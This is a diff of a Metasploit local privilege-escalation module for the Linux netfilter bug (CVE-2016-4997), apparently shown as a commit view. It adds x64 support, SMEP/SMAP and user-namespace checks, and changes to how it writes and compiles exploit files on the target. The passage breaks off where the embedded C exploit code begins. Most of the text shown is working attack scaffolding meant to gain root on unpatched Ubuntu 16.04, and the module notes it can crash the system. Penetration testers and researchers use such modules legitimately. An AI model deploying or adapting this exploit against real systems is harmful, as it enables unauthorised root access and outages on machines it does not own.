@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Local
77 Rank = GoodRanking
88
99 include Msf ::Post ::File
10+ include Msf ::Post ::Linux ::Kernel
1011 include Msf ::Exploit ::EXE
1112 include Msf ::Exploit ::FileDropper
1213
@@ -15,40 +16,49 @@ def initialize(info = {})
1516 'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation' ,
1617 'Description' => %q{
1718 This module attempts to exploit a netfilter bug on Linux Kernels before 4.6.3, and currently
18- only works against Ubuntu 16.04 (not 16.04.1) with kernel
19- 4.4.0-21-generic.
19+ only works against Ubuntu 16.04 (not 16.04.1) with kernel 4.4.0-21-generic.
20+
2021 Several conditions have to be met for successful exploitation:
2122 Ubuntu:
2223 1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)
2324 2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile
24- Kernel 4.4.0-31-generic and newer are not vulnerable.
25+ Kernel 4.4.0-31-generic and newer are not vulnerable. This exploit does not bypass SMEP/SMAP.
2526
2627 We write the ascii files and compile on target instead of locally since metasm bombs for not
2728 having cdefs.h (even if locally installed)
2829 } ,
2930 'License' => MSF_LICENSE ,
3031 'Author' =>
3132 [
32- 'h00die <[email protected] >' , # Module 33- 'vnik' # Discovery
33+ 'h00die <[email protected] >' , # Module 34+ 'vnik' , # Exploit
35+ 'Jesse Hertz' , # Discovery
36+ 'Tim Newsham' # Discovery
3437 ] ,
3538 'DisclosureDate' => 'Jun 03 2016' ,
3639 'Platform' => [ 'linux' ] ,
37- 'Arch' => [ ARCH_X86 ] ,
40+ 'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
3841 'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
3942 'Targets' =>
4043 [
4144 [ 'Ubuntu' , { } ]
4245 #[ 'Fedora', { } ]
4346 ] ,
44- 'DefaultTarget' => 0 ,
4547 'References' =>
4648 [
47- [ 'EDB' , '40049' ] ,
48- [ 'CVE' , '2016-4997' ] ,
49- [ 'URL' , 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c' ]
50- ]
51- ) )
49+ [ 'EDB' , '40049' ] ,
50+ [ 'CVE' , '2016-4997' ] ,
51+ [ 'CVE' , '2016-4998' ] ,
52+ [ 'URL' , 'https://www.openwall.com/lists/oss-security/2016/06/24/5' ] ,
53+ [ 'URL' , 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c' ] ,
54+ [ 'URL' , 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6e94e0cfb0887e4013b3b930fa6ab1fe6bb6ba91' ]
55+ ] ,
56+ 'Notes' =>
57+ {
58+ 'Reliability' => [ UNRELIABLE_SESSION ] ,
59+ 'Stability' => [ CRASH_OS_DOWN ] ,
60+ } ,
61+ 'DefaultTarget' => 0 ) )
5262 register_options [
5363 OptInt . new ( 'MAXWAIT' , [ true , 'Max seconds to wait for decrementation in seconds' , 180 ] ) ,
5464 OptBool . new ( 'REEXPLOIT' , [ true , 'desc already ran, no need to re-run, skip to running pwn' , false ] ) ,
@@ -59,22 +69,26 @@ def initialize(info = {})
5969 ]
6070 end
6171
72+ def base_dir
73+ datastore [ 'WritableDir' ] . to_s
74+ end
75+
6276 def check
6377 def iptables_loaded? ( )
6478 # user@ubuntu:~$ grep ip_tables /proc/modules
6579 # ip_tables 28672 1 iptable_filter, Live 0x0000000000000000
6680 # x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000
6781 vprint_status ( 'Checking if ip_tables is loaded in kernel' )
6882 if target . name == "Ubuntu"
69- iptables = read_file ( '/proc/modules' )
83+ iptables = read_file ( '/proc/modules' ) . to_s
7084 if iptables . include? ( 'ip_tables' )
7185 vprint_good ( 'ip_tables.ko is loaded' )
7286 else
7387 print_error ( 'ip_tables.ko is not loaded. root needs to run iptables -L or similar command' )
7488 end
7589 return iptables . include? ( 'ip_tables' )
7690 elsif target . name == "Fedora"
77- iptables = read_file ( '/proc/modules' )
91+ iptables = read_file ( '/proc/modules' ) . to_s
7892 if iptables . include? ( 'iptable_raw' )
7993 vprint_good ( 'iptable_raw is loaded' )
8094 else
@@ -86,28 +100,38 @@ def iptables_loaded?()
86100 end
87101 end
88102
89- def shemsham_installed? ( )
90- # we want this to be false.
91- vprint_status ( 'Checking if shem or sham are installed' )
92- shemsham = read_file ( '/proc/cpuinfo' )
93- if shemsham . include? ( 'shem' )
94- print_error ( 'shem installed, system not vulnerable.' )
95- elsif shemsham . include? ( 'sham' )
96- print_error ( 'sham installed, system not vulnerable.' )
97- else
98- vprint_good ( 'shem and sham not present.' )
99- end
100- return ( shemsham . include? ( 'shem' ) or shemsham . include? ( 'sham' ) )
103+ return CheckCode ::Safe unless iptables_loaded?
104+
105+ if smep_enabled?
106+ print_error ( 'SMEP enabled, system not vulnerable.' )
107+ return CheckCode ::Safe
101108 end
109+ vprint_good ( 'SMEP is not enabled' )
102110
103- if iptables_loaded? ( ) and not shemsham_installed? ( )
104- return CheckCode ::Appears
105- else
111+ if smap_enabled?
112+ print_error ( 'SMAP enabled, system not vulnerable.' )
113+ return CheckCode ::Safe
114+ end
115+ vprint_good ( 'SMAP is not enabled' )
116+
117+ unless userns_enabled?
118+ vprint_error ( 'Unprivileged user namespaces are not permitted' )
106119 return CheckCode ::Safe
107120 end
121+ vprint_good ( 'Unprivileged user namespaces are permitted' )
122+
123+ CheckCode ::Appears
108124 end
109125
110126 def exploit
127+ if check != CheckCode ::Appears
128+ fail_with ( Failure ::NotVulnerable , 'Target not vulnerable! punt!' )
129+ end
130+
131+ unless writable? base_dir
132+ fail_with Failure ::BadConfig , "#{ base_dir } is not writable"
133+ end
134+
111135 # first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
112136 def has_prereqs? ( )
113137 vprint_status ( 'Checking if 32bit C libraries, gcc-multilib, and gcc are installed' )
@@ -160,17 +184,14 @@ def has_prereqs?()
160184 vprint_status ( 'Dropping pre-compiled exploit on system' )
161185 end
162186 end
163- if check != CheckCode ::Appears
164- fail_with ( Failure ::NotVulnerable , 'Target not vulnerable! punt!' )
165- end
166187
167188 desc_file = datastore [ "WritableDir" ] + "/" + rand_text_alphanumeric ( 8 )
168189 env_ready_file = datastore [ "WritableDir" ] + "/" + rand_text_alphanumeric ( 8 )
169190 pwn_file = datastore [ "WritableDir" ] + "/" + rand_text_alphanumeric ( 8 )
170191 payload_file = rand_text_alpha ( 8 )
171192 payload_path = "#{ datastore [ "WritableDir" ] } /#{ payload_file } "
172193
173- # direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here
194+ # direct copy of code from exploit-db, except removed the check for smep/smap and ip_tables.ko since we can do that in the check area here
174195 # removed #include <netinet/in.h> per busterb comment in PR 7326
175196 decr = %q{
176197 #define _GNU_SOURCE
0 commit comments